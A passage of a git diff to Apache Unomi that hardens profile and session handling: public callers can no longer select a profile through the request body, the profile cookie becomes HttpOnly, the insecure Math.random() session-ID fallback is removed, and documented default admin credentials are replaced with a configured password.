Trusted: Basic auth with tenantId:privateKey — body/query profileId is honored curl -X POST "http://localhost:8181/cxs/context.json?sessionId=1234&profileId=a1b2c3d4-e5f6-7890-abcd-ef1234567890" \ --H "X-Unomi-Api-Key: YOUR_PUBLIC_API_KEY" \ +--user "TENANT_ID:PRIVATE_KEY" \ -H "Content-Type: application/json" \ -d '{ "source": { @@ -344,17 +359,16 @@ curl -X POST "http://localhost:8181/cxs/context.json?sessionId=1234&profileId=a1 }' ---- -The `profileId` parameter takes precedence over the cookie value. +For public callers, a body/query `profileId` without a matching cookie is ignored (it does **not** take precedence over the cookie). [plantuml] ---- @startuml title Profile and Session Identification Flow -RestServiceUtils -> RestServiceUtils: Get profileId from parameter -alt profileId parameter exists - RestServiceUtils -> ProfileService: load(profileId) -else Check cookie +alt trusted caller with body/query profileId + RestServiceUtils -> ProfileService: load(bodyOrQueryProfileId) +else public or no explicit trusted profileId RestServiceUtils -> HttpServletRequest: getCookie("context-profile-id") HttpServletRequest --> RestServiceUtils: profileId from cookie RestServiceUtils -> ProfileService: load(profileId) @@ -374,9 +388,11 @@ alt sessionId provided RestServiceUtils -> ProfileService: loadSession(sessionId) alt Session found RestServiceUtils -> RestServiceUtils: Check session profile - alt Session profile differs + alt Session profile differs and (cookie owns session or trusted) RestServiceUtils -> ProfileService: load(sessionProfileId) RestServiceUtils -> RestServiceUtils: Use session's profile + else public mismatch + RestServiceUtils -> RestServiceUtils: Detach session for this request end else Session not found RestServiceUtils -> RestServiceUtils: Create new Session(sessionId, profile) @@ -393,7 +409,7 @@ end If a `sessionId` is provided in the request: 1. **Session Loading**: Apache Unomi attempts to load the existing session from the database -2. **Profile Association**: If a session is found, it may contain a profile ID that takes precedence over the cookie/profileId parameter +2. **Profile Association**: If a session is found and its profile differs from the request profile, Unomi switches only when the cookie owns that session or the caller is trusted (see Step 1). Public callers cannot adopt a foreign session profile. 3. **Session Creation**: If no session is found or the session is invalidated: * Creates a new session with the provided `sessionId` * Associates the session with the current profile (or anonymous profile if privacy settings require it) @@ -804,7 +820,7 @@ Cookies are only set for regular profiles, not for Personas. If a `personaId` is * `Max-Age=31536000` - Valid for 1 year by default (configurable via `org.apache.unomi.profile.cookie.maxAgeInSeconds`) * `SameSite=Lax` - CSRF protection * `Secure` - Set if the request is over HTTPS (configurable) - * `HttpOnly` - Configurable via `org.apache.unomi.profile.cookie.httpOnly` (default: false) + * `HttpOnly` - Configurable via `org.apache.unomi.profile.cookie.httpOnly` (default: `true`) * `Domain` - Configurable via `org.apache.unomi.profile.cookie.domain` This cookie allows the browser to automatically send the profile ID on subsequent requests, enabling Apache Unomi to load the existing profile. @@ -1180,7 +1196,7 @@ The following configuration properties control profile tracking behavior: * `org.apache.unomi.profile.cookie.name` - Cookie name (default: `context-profile-id`) * `org.apache.unomi.profile.cookie.maxAgeInSeconds` - Cookie expiration time (default: `31536000` = 1 year) -* `org.apache.unomi.profile.cookie.httpOnly` - Whether cookie is HTTP-only (default: `false`) +* `org.apache.unomi.profile.cookie.httpOnly` - Whether cookie is HTTP-only (default: `true`). When `true`, browser JavaScript cannot read the cookie; the browser still sends it on requests. Prefer reading `profileId` from the context JSON response. * `org.apache.unomi.profile.cookie.domain` - Cookie domain (optional) -These can be configured in the `org.apache.unomi.web.cfg` configuration file. +These can be configured in `etc/custom.system.properties` / `org.apache.unomi.web.cfg`. diff --git a/manual/src/main/asciidoc/javascript-tracker-guide.adoc b/manual/src/main/asciidoc/javascript-tracker-guide.adoc index c1179e909a..b9dca98ac3 100644 --- a/manual/src/main/asciidoc/javascript-tracker-guide.adoc +++ b/manual/src/main/asciidoc/javascript-tracker-guide.adoc @@ -52,8 +52,9 @@ Here's a minimal tracker structure: contextServerUrl: 'http://localhost:8181', apiKey: 'YOUR_PUBLIC_API_KEY', scope: 'mydigital', - sessionCookieName: 'unomi-session-id', - profileCookieName: 'context-profile-id' + sessionCookieName: 'unomi-session-id' + // No profile cookie name here: the profile ID cookie is HttpOnly and + // cannot be read from JavaScript. Use response.profileId instead. }; // Tracker object @@ -121,13 +122,13 @@ The tracker needs to generate and maintain a session ID. If no session ID exists // Generate a UUID v4 // Uses crypto.randomUUID() if available (most secure, modern browsers) // Falls back to crypto.getRandomValues() (secure, widely supported) -// Falls back to Math.random() only for very old browsers (less secure) +// Fails closed if neither is available: session IDs must never be guessable generateUUID: function() { // Use crypto.randomUUID() if available (Chrome 92+, Firefox 95+, Safari 15.4+, Node.js 19+) if (typeof crypto !== 'undefined' && crypto.randomUUID) { return crypto.randomUUID(); } - + // Use crypto.getRandomValues() if available (widely supported, secure) if (typeof crypto !== 'undefined' && crypto.getRandomValues) { return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { @@ -136,14 +137,16 @@ generateUUID: function() { return v.toString(16); }); } - - // Fallback to Math.random() for very old browsers (not cryptographically secure) - // Note: This is less secure and should only be used as a last resort - return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { - const r = Math.random() * 16 | 0; - const v = c === 'x' ? r : (r & 0x3 | 0x8); - return v.toString(16); - }); + + // No cryptographically secure source available: fail closed. + // Do NOT fall back to Math.random() — its output is predictable and a + // guessable session ID lets an untrusted caller take over a visitor's session. + throw new Error( + 'Unomi tracker: no cryptographically secure random source available ' + + '(neither crypto.randomUUID nor crypto.getRandomValues). This browser is ' + + 'unsupported: install a Web Crypto polyfill, or use a browser that provides ' + + 'crypto.getRandomValues.' + ); }, // Get or create session ID @@ -843,11 +846,13 @@ getContextWithRetry: function(options, callback, maxRetries) { ===== Profile ID Synchronization -The profile ID is set by Apache Unomi in a cookie. Make sure to read it from the response: +The profile ID is set by Apache Unomi in a cookie. By default the cookie is `HttpOnly`, so browser JavaScript +**cannot** read it via `document.cookie`. Always prefer the `profileId` field in the JSON response. The browser still +**sends** the cookie on subsequent requests when credentials/cookies are included. [source,javascript] ---- -// Enhanced context request that handles profile ID cookie +// Enhanced context request that handles profile ID from the response getContext: function(options, callback) { // ... existing code ... @@ -857,14 +862,10 @@ getContext: function(options, callback) { try { const response = JSON.parse(xhr.responseText); - // Profile ID cookie is automatically set by Apache Unomi - // but we can verify it matches the response - const cookieProfileId = tracker.getCookie(CONFIG.profileCookieName); - if (response.profileId && cookieProfileId !== response.profileId) { - console.warn('Profile ID mismatch:', { - cookie: cookieProfileId, - response: response.profileId - }); + // Authoritative profile id for application logic: + // response.profileId (cookie may be HttpOnly and unreadable from JS) + if (response.profileId) { + // store in memory / your app state if needed — do not rely on document.cookie } if (callback) { @@ -1005,7 +1006,8 @@ Here's a complete, production-ready tracker implementation combining all the con apiKey: 'YOUR_PUBLIC_API_KEY', scope: 'mydigital', sessionCookieName: 'unomi-session-id', - profileCookieName: 'context-profile-id', + // No profile cookie name here: the profile ID cookie is HttpOnly and + // cannot be read from JavaScript. Use response.profileId instead. eventQueueSize: 10, eventQueueInterval: 5000 }; @@ -1034,13 +1036,13 @@ Here's a complete, production-ready tracker implementation combining all the con // UUID generation // Uses crypto.randomUUID() if available (most secure, modern browsers) // Falls back to crypto.getRandomValues() (secure, widely supported) - // Falls back to Math.random() only for very old browsers (less secure) + // Fails closed if neither is available: session IDs must never be guessable generateUUID: function() { // Use crypto.randomUUID() if available (Chrome 92+, Firefox 95+, Safari 15.4+, Node.js 19+) if (typeof crypto !== 'undefined' && crypto.randomUUID) { return crypto.randomUUID(); } - + // Use crypto.getRandomValues() if available (widely supported, secure) if (typeof crypto !== 'undefined' && crypto.getRandomValues) { return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { @@ -1049,14 +1051,16 @@ Here's a complete, production-ready tracker implementation combining all the con return v.toString(16); }); } - - // Fallback to Math.random() for very old browsers (not cryptographically secure) - // Note: This is less secure and should only be used as a last resort - return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { - const r = Math.random() * 16 | 0; - const v = c === 'x' ? r : (r & 0x3 | 0x8); - return v.toString(16); - }); + + // No cryptographically secure source available: fail closed. + // Do NOT fall back to Math.random() — its output is predictable and a + // guessable session ID lets an untrusted caller take over a visitor's session. + throw new Error( + 'Unomi tracker: no cryptographically secure random source available ' + + '(neither crypto.randomUUID nor crypto.getRandomValues). This browser is ' + + 'unsupported: install a Web Crypto polyfill, or use a browser that provides ' + + 'crypto.getRandomValues.' + ); }, // Session management @@ -1230,26 +1234,31 @@ Here's a complete, production-ready tracker implementation combining all the con ==== **Security Considerations for UUID Generation** -The tracker uses UUIDs for session IDs, which should be unpredictable to prevent session hijacking. The implementation in this guide uses a secure fallback chain: +Session IDs are security-relevant: a session ID is a bearer identifier, so anyone who can predict one can take over the corresponding visitor session. The implementation in this guide therefore uses only cryptographically secure sources, and **fails closed** when none is available: 1. **`crypto.randomUUID()`** (Preferred): Available in modern browsers (Chrome 92+, Firefox 95+, Safari 15.4+, Edge 92+). This is the most secure option and generates RFC 4122-compliant UUIDs using cryptographically secure random number generation. 2. **`crypto.getRandomValues()`** (Fallback): Available in all modern browsers (IE 11+, Chrome 11+, Firefox 21+, Safari 5.1+). Uses the Web Crypto API to generate cryptographically secure random values. This is secure and widely compatible. -3. **`Math.random()`** (Last Resort): Only used for very old browsers that don't support the Web Crypto API. This is **not cryptographically secure** and can be predictable, making it vulnerable to session hijacking attacks. +3. **No secure source → throw**: if neither Web Crypto entry point exists, `generateUUID()` throws an `Error` instead of returning an identifier. There is deliberately **no `Math.random()` fallback**: `Math.random()` is not cryptographically secure, its output is predictable, and returning such a value would silently hand untrusted callers a guessable session ID. Refusing to track is the safer outcome. **Recommendations:** * For production applications, ensure your minimum browser support includes browsers with `crypto.getRandomValues()` support (essentially all browsers from 2013+) -* If you need to support very old browsers (IE 10 and below), consider using a polyfill or warning users about security limitations -* Never use `Math.random()` alone for security-sensitive identifiers like session IDs or authentication tokens +* Serve your pages over HTTPS. `crypto.randomUUID()` is restricted to secure contexts, so over plain HTTP the tracker + falls back to `crypto.getRandomValues()`, which is available in non-secure contexts too. HTTPS is worth doing on its + own merits - a session identifier travelling in clear text is the larger problem - but plain HTTP alone does not reach + the fail-closed branch on a current browser +* If you must support browsers without the Web Crypto API (IE 10 and below), install a Web Crypto polyfill — do not reintroduce a `Math.random()` fallback +* Never use `Math.random()` for security-sensitive identifiers like session IDs or authentication tokens +* Handle the thrown error in your integration (for example, disable tracking and log a warning) rather than letting it break unrelated page scripts * The profile ID is always generated server-side by Apache Unomi using secure UUID generation, so client-side UUID generation is only needed for session IDs **Browser Compatibility:** -* `crypto.randomUUID()`: Chrome 92+, Firefox 95+, Safari 15.4+, Edge 92+ (2021+) -* `crypto.getRandomValues()`: All modern browsers (2013+) -* `Math.random()`: All browsers (but not secure) +* `crypto.randomUUID()`: Chrome 92+, Firefox 95+, Safari 15.4+, Edge 92+ (2021+), secure contexts only +* `crypto.getRandomValues()`: All modern browsers (2013+), available in secure and non-secure contexts +* Anything older, or any non-secure context: unsupported — the tracker throws rather than generating a weak session ID -For maximum security and compatibility, the implementation automatically uses the best available method. +The implementation automatically uses the best available secure method, and refuses to generate a session ID when there is none. ==== ==== Next Steps diff --git a/manual/src/main/asciidoc/multitenancy.adoc b/manual/src/main/asciidoc/multitenancy.adoc index 6f6a914cee..904ca0399d 100644 --- a/manual/src/main/asciidoc/multitenancy.adoc +++ b/manual/src/main/asciidoc/multitenancy.adoc @@ -59,7 +59,7 @@ To create a new tenant, use the Tenant API endpoint: [source,bash] ---- curl -X POST http://localhost:8181/cxs/tenants \ - --user karaf:karaf \ + --user "karaf:$UNOMI_ROOT_PASSWORD" \ -H "Content-Type: application/json" \ -d '{ "requestedId": "my-tenant", @@ -102,10 +102,10 @@ IMPORTANT: Store plaintext keys immediately after calling the key creation endpo [source,bash] ---- curl -X POST "http://localhost:8181/cxs/tenants/my-tenant/apikeys?type=PUBLIC" \ - --user karaf:karaf + --user "karaf:$UNOMI_ROOT_PASSWORD" curl -X POST "http://localhost:8181/cxs/tenants/my-tenant/apikeys?type=PRIVATE" \ - --user karaf:karaf + --user "karaf:$UNOMI_ROOT_PASSWORD" ---- Example response: @@ -387,7 +387,7 @@ securityService.executeAsSystemSubject(() -> { [source,bash] ---- curl -X GET http://localhost:8181/cxs/tenants \ - --user karaf:karaf \ + --user "karaf:$UNOMI_ROOT_PASSWORD" \ -H "Content-Type: application/json" ---- @@ -396,7 +396,7 @@ curl -X GET http://localhost:8181/cxs/tenants \ [source,bash] ---- curl -X PUT http://localhost:8181/cxs/tenants/my-tenant \ - --user karaf:karaf \ + --user "karaf:$UNOMI_ROOT_PASSWORD" \ -H "Content-Type: application/json" \ -d '{ "displayName": "Updated Organization Name", @@ -411,10 +411,10 @@ Regenerating replaces any existing key of the same type. Store `plainTextKey` fr [source,bash] ---- curl -X POST "http://localhost:8181/cxs/tenants/my-tenant/apikeys?type=PUBLIC&validityDays=30" \ - --user karaf:karaf + --user "karaf:$UNOMI_ROOT_PASSWORD" curl -X POST "http://localhost:8181/cxs/tenants/my-tenant/apikeys?type=PRIVATE" \ - --user karaf:karaf + --user "karaf:$UNOMI_ROOT_PASSWORD" ---- NOTE: `type` must be `PUBLIC` or `PRIVATE`. Optional `validityDays` sets expiration; omit it (or use `0`) for no expiration. @@ -424,7 +424,7 @@ NOTE: `type` must be `PUBLIC` or `PRIVATE`. Optional `validityDays` sets expirat [source,bash] ---- curl -X DELETE http://localhost:8181/cxs/tenants/my-tenant \ - --user karaf:karaf \ + --user "karaf:$UNOMI_ROOT_PASSWORD" \ -H "Content-Type: application/json" ---- @@ -464,7 +464,7 @@ Unomi exposes read-only usage metrics per tenant. Quota enforcement belongs in y [source,bash] ---- curl -X GET "http://localhost:8181/cxs/tenants/my-tenant/usage?period=current-month" \ - --user karaf:karaf \ + --user "karaf:$UNOMI_ROOT_PASSWORD" \ -H "Content-Type: application/json" ---- @@ -479,7 +479,7 @@ Upstream control planes can delete old tenant events through Unomi instead of ta [source,bash] ---- curl -X POST "http://localhost:8181/cxs/tenants/my-tenant/purge/events?retentionDays=90" \ - --user karaf:karaf \ + --user "karaf:$UNOMI_ROOT_PASSWORD" \ -H "Content-Type: application/json" ---- @@ -568,7 +568,7 @@ After migration, verify tenant context and data access: ---- # List tenants (JAAS admin) curl -X GET http://localhost:8181/cxs/tenants \ - --user karaf:karaf \ + --user "karaf:$UNOMI_ROOT_PASSWORD" \ -H "Accept: application/json" # List profiles for a tenant (tenant private key auth) @@ -652,7 +652,7 @@ curl -X GET http://localhost:8181/cxs/jsonSchema \ -H "Content-Type: application/json" ---- -NOTE: Replace `TENANT_ID` and `PRIVATE_KEY` with your actual tenant ID and private API key. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (`karaf:karaf`). +NOTE: Replace `TENANT_ID` and `PRIVATE_KEY` with your actual tenant ID and private API key. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (the `karaf` user and your configured `UNOMI_ROOT_PASSWORD`). You can also validate events against your schema using the validation endpoint: @@ -683,14 +683,22 @@ curl -X POST http://localhost:8181/cxs/jsonSchema/validateEvent \ Once the event type is defined, you can send events: +[NOTE] +==== +`/cxs/context.json` is a public endpoint, so the profile is carried by the `context-profile-id` +cookie: since Unomi 3.1 a public caller's body `profileId` is ignored. Only a trusted caller +(tenant private key or system administrator) may bind a profile explicitly through the body. See +<<_client_facing_hardening_3_1,client-facing hardening>>. +==== + [source,bash] ---- curl -X POST http://localhost:8181/cxs/context.json \ -H "X-Unomi-Api-Key: " \ -H "Content-Type: application/json" \ + -b "context-profile-id=profile-456" \ -d '{ "sessionId": "session-123", - "profileId": "profile-456", "source": { "itemId": "checkout-page", "itemType": "page", @@ -768,9 +776,9 @@ To test that everything works: curl -X POST http://localhost:8181/cxs/context.json \ -H "X-Unomi-Api-Key: " \ -H "Content-Type: application/json" \ + -b "context-profile-id=profile-456" \ -d '{ "sessionId": "session-123", - "profileId": "profile-456", "source": { "itemId": "checkout-page", "itemType": "page", diff --git a/manual/src/main/asciidoc/privacy.adoc b/manual/src/main/asciidoc/privacy.adoc index dda5c3959b..a32c187fe1 100644 --- a/manual/src/main/asciidoc/privacy.adoc +++ b/manual/src/main/asciidoc/privacy.adoc @@ -78,7 +78,7 @@ curl -X DELETE http://localhost:8181/cxs/privacy/profiles/{profileID}?withData=f --user "TENANT_ID:PRIVATE_KEY" ---- -NOTE: Replace `TENANT_ID` and `PRIVATE_KEY` with your actual tenant ID and private API key. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (`karaf:karaf`). +NOTE: Replace `TENANT_ID` and `PRIVATE_KEY` with your actual tenant ID and private API key. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (the `karaf` user and your configured `UNOMI_ROOT_PASSWORD`). where `{profileID}` must be replaced by the actual identifier of a profile and the `withData` specifies whether the data associated with the profile must be anonymized or not diff --git a/manual/src/main/asciidoc/recipes.adoc b/manual/src/main/asciidoc/recipes.adoc index 8f0f8c9ce7..7236f9508e 100644 --- a/manual/src/main/asciidoc/recipes.adoc +++ b/manual/src/main/asciidoc/recipes.adoc @@ -27,7 +27,7 @@ you might be tempted to modify them to fit your use case, which might result in The best approach during development is to enable Apache Unomi debug mode, which will provide you with more detailed logs about events processing. -The debug mode can be activated via the karaf SSH console (default credentials are karaf/karaf): +The debug mode can be activated via the karaf SSH console (authenticate with `karaf` and your configured `UNOMI_ROOT_PASSWORD`): [source] ---- @@ -134,10 +134,11 @@ event data to the profile. This is simpler than it sounds, as usually all it req defining the corresponding JSON schema and you're ready to update profiles using events. - Use the protected built-in "updateProperties" event. This event is designed to be used for administrative purposes -only. Again, prefer the custom events solution because as this is a protected event it will require sending the Unomi -key as a request header, and as Unomi only supports a single key for the moment it could be problematic if the key is -intercepted. But at least by using an event you will get the benefits of auditing and historical property modification -tracing (see <<_request_tracing_explain,request tracing>>). +only. Cross-profile updates and `systemProperties.*` writes require a **trusted** caller (tenant private key or system +administrator). Prefer custom events for public visitors. Again, prefer the custom events solution because as this is a +protected event it will require sending trusted credentials, and as Unomi only supports a single key for the moment it +could be problematic if the key is intercepted. But at least by using an event you will get the benefits of auditing and +historical property modification tracing (see <<_request_tracing_explain,request tracing>>). Let's go into more detail about the preferred way to update a profile. Let's consider the following example of a rule: @@ -208,7 +209,7 @@ curl --location --request POST 'http://localhost:8181/cxs/scopes' \ }' ---- -NOTE: Replace `TENANT_ID` and `PRIVATE_KEY` with your actual tenant ID and private API key. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (`karaf:karaf`). +NOTE: Replace `TENANT_ID` and `PRIVATE_KEY` with your actual tenant ID and private API key. Only the Tenant API (`/cxs/tenants`) uses system administrator authentication (the `karaf` user and your configured `UNOMI_ROOT_PASSWORD`). The next step consist in creating a JSON Schema to validate our event. @@ -485,7 +486,7 @@ much preferred. When sending a login event, you can setup a rule that can check a profile property to see if profiles can be merged on an universal identifier such as an email address. -In our login sample we provide an example of such a rule. You can find it here: +In our login sample we provide an example of such a rule (fired from a **server-side** trusted call — see <<_login_sample,Login sample>>). You can find the rule here: https://github.com/apache/unomi/blob/master/samples/login-integration/src/main/resources/META-INF/cxs/rules/exampleLogin.json @@ -579,7 +580,7 @@ Upon merge: ===== API -/context.json and /eventcollector will now look up profiles by profile ID or aliases from the same cookie (`context-profile-id`) or body parameters (`profileId`) +/context.json and /eventcollector look up profiles by profile ID or aliases from the profile cookie (`context-profile-id` by default). Public callers must present that cookie; body/query `profileId` is ignored for public callers. Trusted callers (tenant private key / system admin) may still pass `profileId` explicitly. See <<_how_profile_tracking_works,How profile tracking works>> and <<_client_facing_hardening_3_1,client-facing hardening>>. |=== | *Verb* | *Path* | *Description* diff --git a/manual/src/main/asciidoc/request-examples.adoc b/manual/src/main/asciidoc/request-examples.adoc index cb06a6f6ba..26edb46e62 100644 --- a/manual/src/main/asciidoc/request-examples.adoc +++ b/manual/src/main/asciidoc/request-examples.adoc @@ -25,7 +25,7 @@ First, create a tenant that will own all the data: [source] ---- curl -X POST http://localhost:8181/cxs/tenants \ ---user karaf:karaf \ +--user "karaf:$UNOMI_ROOT_PASSWORD" \ -H "Content-Type: application/json" \ -d '{ "requestedId": "mytenant", @@ -67,8 +67,8 @@ Regenerate keys to obtain one-time plaintext values (store them immediately): [source,bash] ---- -curl -X POST "http://localhost:8181/cxs/tenants/mytenant/apikeys?type=PUBLIC" --user karaf:karaf -curl -X POST "http://localhost:8181/cxs/tenants/mytenant/apikeys?type=PRIVATE" --user karaf:karaf +curl -X POST "http://localhost:8181/cxs/tenants/mytenant/apikeys?type=PUBLIC" --user "karaf:$UNOMI_ROOT_PASSWORD" +curl -X POST "http://localhost:8181/cxs/tenants/mytenant/apikeys?type=PRIVATE" --user "karaf:$UNOMI_ROOT_PASSWORD" ---- After creating the tenant and regenerating keys, use these credentials in the examples: @@ -549,14 +549,22 @@ The format is always `MM-DD` where: You can also update the personalization example to use the birthday property: +[NOTE] +==== +The profile is selected with the `context-profile-id` cookie, not with a `profileId` in the request +body. `/cxs/context.json` is a public endpoint, and since Unomi 3.1 a public caller's body `profileId` +is ignored — the cookie is the only profile identity bearer. See +<<_client_facing_hardening_3_1,Client-facing hardening>> in the 3.0 to 3.1 migration guide. +==== + [source] ---- curl -X POST http://localhost:8181/cxs/context.json \ -H "Content-Type: application/json" \ -H "X-Unomi-Api-Key: YOUR_PUBLIC_API_KEY" \ +-b "context-profile-id=profile-1" \ -d '{ "sessionId": "birthday-session", - "profileId": "profile-1", "source": { "itemId": "homepage", "itemType": "page", @@ -702,9 +710,9 @@ For the birthday profile (should show birthday message): curl -X POST http://localhost:8181/cxs/context.json \ -H "Content-Type: application/json" \ -H "X-Unomi-Api-Key: YOUR_PUBLIC_API_KEY" \ +-b "context-profile-id=profile-1" \ -d '{ "sessionId": "birthday-session", - "profileId": "profile-1", "source": { "itemId": "homepage", "itemType": "page", @@ -748,9 +756,9 @@ For the non-birthday profile (should show welcome message): curl -X POST http://localhost:8181/cxs/context.json \ -H "Content-Type: application/json" \ -H "X-Unomi-Api-Key: YOUR_PUBLIC_API_KEY" \ +-b "context-profile-id=profile-2" \ -d '{ "sessionId": "regular-session", - "profileId": "profile-2", "source": { "itemId": "homepage", "itemType": "page", diff --git a/package/src/main/resources/etc/custom.system.properties b/package/src/main/resources/etc/custom.system.properties index fa98f79794..6a8da8505e 100644 --- a/package/src/main/resources/etc/custom.system.properties +++ b/package/src/main/resources/etc/custom.system.properties @@ -302,7 +302,8 @@ org.apache.unomi.profile.cookie.name=${env:UNOMI_PROFILE_COOKIE_NAME:-context-pr # This setting controls the maximum age of the profile cookie. By default it is set to a year. org.apache.unomi.profile.cookie.maxAgeInSeconds=${env:UNOMI_PROFILE_COOKIE_MAXAGEINSECONDS:-31536000} # This setting controls if the cookie should be flagged as HttpOnly or not. -org.apache.unomi.profile.cookie.httpOnly=${env:UNOMI_PROFILE_COOKIE_HTTPONLY:-false} +# Default true so browser JavaScript cannot read the profile bearer cookie. +org.apache.unomi.profile.cookie.httpOnly=${env:UNOMI_PROFILE_COOKIE_HTTPONLY:-true} #Allowed profile download formats, actually only csv (horizontal and vertical), json, text and yaml are allowed. org.apache.unomi.profile.download.formats=${env:UNOMI_PROFILE_DOWNLOAD_FORMATS:-csv,yaml,json,text} # This setting allow for request size (Content-length) protection. Checking that the requests do not exceed the limit. diff --git a/rest/src/main/java/org/apache/unomi/rest/endpoints/ContextJsonEndpoint.java b/rest/src/main/java/org/apache/unomi/rest/endpoints/ContextJsonEndpoint.java index c17076d260..c36b663dc8 100644 --- a/rest/src/main/java/org/apache/unomi/rest/endpoints/ContextJsonEndpoint.java +++ b/rest/src/main/java/org/apache/unomi/rest/endpoints/ContextJsonEndpoint.java @@ -306,7 +306,10 @@ public ContextResponse contextJSONAsPost(ContextRequest contextRequest, contextResponse.setProfileId(eventsRequestContext.getProfile().getItemId()); if (eventsRequestContext.getSession() != null) { contextResponse.setSessionId(eventsRequestContext.getSession().getItemId()); - } else if (sessionId != null) { + } else if (sessionId != null && !eventsRequestContext.isSessionRefused()) { + // Only echo the requested id back when it was not rejected: a refused session was + // never created, so reporting it would tell the client its session is live and make + // it replay the same id on every request. contextResponse.setSessionId(sessionId); } diff --git a/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java b/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java index e9e2f4f39a..5747a97228 100644 --- a/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java +++ b/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java @@ -48,24 +48,19 @@ private LogSanitizer() { * Replaces every character that is not printable ASCII (or is a log-format marker such as * {@code \ { } % $}) with an underscore. This removes newlines, tabs and other control * characters that could be used for log injection. + *

+ * Delegates to {@link org.apache.unomi.api.utils.LogSanitizer}, which is the one implementation + * of this filter, shared with the bundles outside {@code rest} that also log request-derived + * values. This class keeps only the REST-specific length limits and field shapes below. + *

+ * Note the empty-string result for {@code null} is preserved here: the exception mappers embed + * this in user-facing messages where the literal {@code "null"} would read as a value. */ static String forLogging(String input) { if (input == null) { return ""; } - if (input.length() > MAX_MESSAGE_LENGTH) { - input = input.substring(0, MAX_MESSAGE_LENGTH) + "...[truncated]"; - } - StringBuilder sanitized = new StringBuilder(input.length()); - for (int i = 0; i < input.length(); i++) { - char c = input.charAt(i); - if (c >= 0x20 && c <= 0x7E && c != '\\' && c != '{' && c != '}' && c != '%' && c != '$') { - sanitized.append(c); - } else { - sanitized.append('_'); - } - } - return sanitized.toString(); + return org.apache.unomi.api.utils.LogSanitizer.forLogging(input, MAX_MESSAGE_LENGTH); } static String url(String url) { diff --git a/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java b/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java index 5a17da207f..0b67ce71d6 100644 --- a/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java +++ b/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java @@ -21,6 +21,8 @@ import org.apache.cxf.interceptor.security.RolePrefixSecurityContextImpl; import org.apache.cxf.jaxrs.utils.JAXRSUtils; import org.apache.unomi.api.*; +import org.apache.unomi.api.security.SecurityService; +import org.apache.unomi.api.utils.LogSanitizer; import org.apache.unomi.api.security.TenantPrincipal; import org.apache.unomi.api.security.UnomiRoles; import org.apache.unomi.api.services.ConfigSharingService; @@ -92,6 +94,9 @@ public class RestServiceUtilsImpl implements RestServiceUtils { @Reference private V2ThirdPartyConfigService v2ThirdPartyConfigService; + @Reference + private SecurityService securityService; + @Override public String getProfileIdCookieValue(HttpServletRequest httpServletRequest) { String cookieProfileId = null; @@ -132,12 +137,55 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St } } - if (profileId == null) { - // Get profile id from the cookie - profileId = getProfileIdCookieValue(request); + final String requestedBodyProfileId = profileId; + final String cookieProfileIdAtRequest = getProfileIdCookieValue(request); + // Resolved once: the caller's identity cannot change during a single request, and the + // checks below must all agree on it. + final boolean trustedCaller = isTrustedProfileCaller(); + // When a public caller presents a foreign sessionId, we must not overwrite that session. + String effectiveSessionId = sessionId; + + if (!trustedCaller) { + // Public callers: the cookie is the only profile bearer, so a body profileId never selects + // the profile — including when no cookie is present, where there is nothing to match against. + if (requestedBodyProfileId != null && !requestedBodyProfileId.equals(cookieProfileIdAtRequest)) { + LOGGER.debug("Ignoring body profileId {} from public caller (cookie profileId is {})", + LogSanitizer.forLogging(requestedBodyProfileId), LogSanitizer.forLogging(cookieProfileIdAtRequest)); + } + profileId = cookieProfileIdAtRequest; + } else if (profileId == null) { + profileId = cookieProfileIdAtRequest; + } + // else trusted caller keeps explicit body profileId (may differ from cookie) + + // Trusted callers may intentionally bind to a body profileId that differs from the cookie. + // + // A missing cookie counts as "differs". Requiring a cookie here meant a trusted integration + // that sent an explicit profileId with no cookie - the normal shape for a server-side caller, + // which has no browser and therefore no cookie jar - had its profile silently replaced by the + // session owner further down, contradicting the documented ability to bind a profile + // intentionally. + final boolean trustedExplicitProfileOverride = trustedCaller + && requestedBodyProfileId != null + && !requestedBodyProfileId.equals(cookieProfileIdAtRequest); + + // invalidateSession re-creates the session bound to the supplied id, so it has to observe the + // same ownership rule as the binding path below rather than being a second, unchecked route + // to it: a public caller may only invalidate a session its own cookie already owns. + if (invalidateSession && !trustedCaller && StringUtils.isNotBlank(effectiveSessionId)) { + Session existingSession = profileService.loadSession(effectiveSessionId); + if (existingSession != null && existingSession.getProfileId() != null + && !existingSession.getProfileId().equals(cookieProfileIdAtRequest)) { + LOGGER.warn("Refusing to invalidate session {} owned by profile {} for a public caller " + + "whose cookie bearer is {}", + LogSanitizer.forLogging(effectiveSessionId), LogSanitizer.forLogging(existingSession.getProfileId()), + LogSanitizer.forLogging(cookieProfileIdAtRequest)); + eventsRequestContext.setSessionRefused(true); + effectiveSessionId = null; + } } - if (profileId == null && sessionId == null && personaId == null) { + if (profileId == null && effectiveSessionId == null && personaId == null) { LOGGER.warn("Couldn't find profileId, sessionId or personaId in incoming request! Stopped processing request. See debug level for more information"); if (LOGGER.isDebugEnabled()) LOGGER.debug("Request dump: {}", HttpUtils.dumpRequestInfo(request)); throw new BadRequestException("Couldn't find profileId, sessionId or personaId in incoming request!"); @@ -161,9 +209,9 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St // Try to recover existing session Profile sessionProfile; - if (StringUtils.isNotBlank(sessionId) && !invalidateSession) { + if (StringUtils.isNotBlank(effectiveSessionId) && !invalidateSession) { - eventsRequestContext.setSession(profileService.loadSession(sessionId)); + 